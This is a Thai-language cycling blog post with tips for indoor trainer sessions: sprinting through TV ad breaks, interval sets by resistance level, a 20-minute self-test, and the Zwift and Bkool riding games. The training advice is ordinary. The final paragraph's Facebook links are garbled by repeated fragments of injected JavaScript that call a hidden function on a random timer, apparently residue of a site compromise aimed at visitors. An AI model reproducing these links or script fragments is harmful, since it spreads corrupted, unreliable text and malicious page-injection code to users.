ปั่น Trainer อย่างไรให้สนุก
ดูคู่กรรม 10 รอบกับปั่น Trainer 1 อย่างไหนน่าเบื่อกว่ากันครับ…ตำตอบคือคุณต้องขึ้นปั่น trainer และต้องทำให้มัน Enjoy & Exciting!
โชคดีที่ Stepextra มีวิธีแก้เบื่อให้คุณระหว่างการปั่น Trainer….
1. สปริ๊นท์ระหว่างโฆษณา
ช่วงโฆษณาจะกินเวลาประมาณ 2-3 นาที จังหวะนี้ใส่รอบปั่นให้เต็มที่ จะช่วยเพิ่มความแข็งแรงให้กล้ามเนื้อและความสามารถในการทำความร็วหรือสปริ๊นทร์ระหว่างไต่เขาระยะสั้นๆ ช่วงรายการธรรมดาก็ปั่นรักษาความเร็วพอถึงโฆษณาคือนาทีทองของเรา รับรองว่าคุณจะรักช่วงเวลาโฆษณาขึ้นมาทันที
2. ใส่ Interval เข้าไป
ฝึกการปั่น Interval ลงไป อย่างเช่น การกำหนด Pace หรือ Heart rate zone เป็นระยะเวลาสัก 2-3 นาทีแล้วค่อยเปลี่ยนไประดับอื่น เราสามารถดีไซด์ได้ว่าจะขึ้นลงตามช่วงเวลาที่กำหนดเท่า แต่ใน Trainer บางรุ่นสามารถกำหนดความหนืดได้เป็นระดับ จาก 1-6 เป็นต้น ลองฝึกปั่น warm-up ระดับ 5 ที่รอบขา 70-90 rpm 15 นาที แล้วปรับระดับควมหนือขึ้นไปที่ 6 หรือ 7 ปั่นที่รอบขา 70-90เหมือนเดิม ใช้เวลาประมาณ 2-3 นาทีแล้วลดลงมาที่ระดับ 5 เพื่อพักสัก 1-2 นาทีแล้วปรับระดับสูงขึ้นไปที่ 7-8 ปั่นอีก 2-3 นาทีและพักที่ระดับ 5 อีก 1-2 นาทีก่อนขึ้นไปใหม่อีกครั้งอย่างนี้ก็ได้นะครับ สามารถฆ่าเวลาได้ดีมากๆ เลย
3. ใช้ทดสอบตัวเอง
หลังจากปั่นมา 2-3 สัปดาห์ไม่ว่าจะ indoor หรือ outdoor ลองทดสอบความสามารถตัวเองสักหน่อยดูมั้ย โดยใช้เวลาปั่น
1. Warm-up 10 นาที
2. ปั่นเร็วระดับที่สามารถประคอบไว้ได้ในระยะยาวๆ อีก 20 นาที
3. ปั่นเบาๆ อีก 5 นาที
4. แล้วต่อด้วยปั่นเร็วเหมือนเดิม 20 นาที
5. จบด้วยปั่น cool-down 5 นาที
ถ้ารถคุณมี power meter ลองดูว่าคุณสามารถรักษา Watt ในช่วง 20 นาทีที่ปั่นเร็วได้เท่าไหร ถ้าไม่มีให้ลองดูที่ Speed จำไว้ว่าระดับความหนืดและความดันล้อควรจะเท่าเดิมเหมือนการทดสอบครั้งก่อนๆ
4. เข้าสู่โลก Visual Game
ในปัจจุบันมีบริษัทที่ทำเกมส์ปั่นจักรยานที่ทำให้เราสามารถปั่นเจ้า Trainer แข่งกับเพื่อนๆ รอบโลกได้คือ Bkool และ Zwift เราจำเป็นต้องมีอุปกรณ์หลักๆ คือ trainer, internet, bike computer และอุปกรณ์เชื่อมต่ออย่าง Ant+ เข้ากับ Speed &cadence sensor เท่านี้ก็เล่นได้แล้วครับ
ในเมืองไทยมีผู้จัดจำหน่าย Bkool สามารถติดต่อได้ที่ andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and”>https://www.facebook.com/bkoolthailandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and
ส่วนของ Zwift สามารถเข้าไปพูดคุยแลกเปลี่ยนความคิดเห็นได้ที่ andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and?fref=ts”>https://www.facebook.com/ZwiftThailandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and?fref=ts
ผมแปะตัวคลิปของ Zwift ในดูนะครับจะได้เห็นภาพและเข้าใจง่ายยิ่งขึ้น
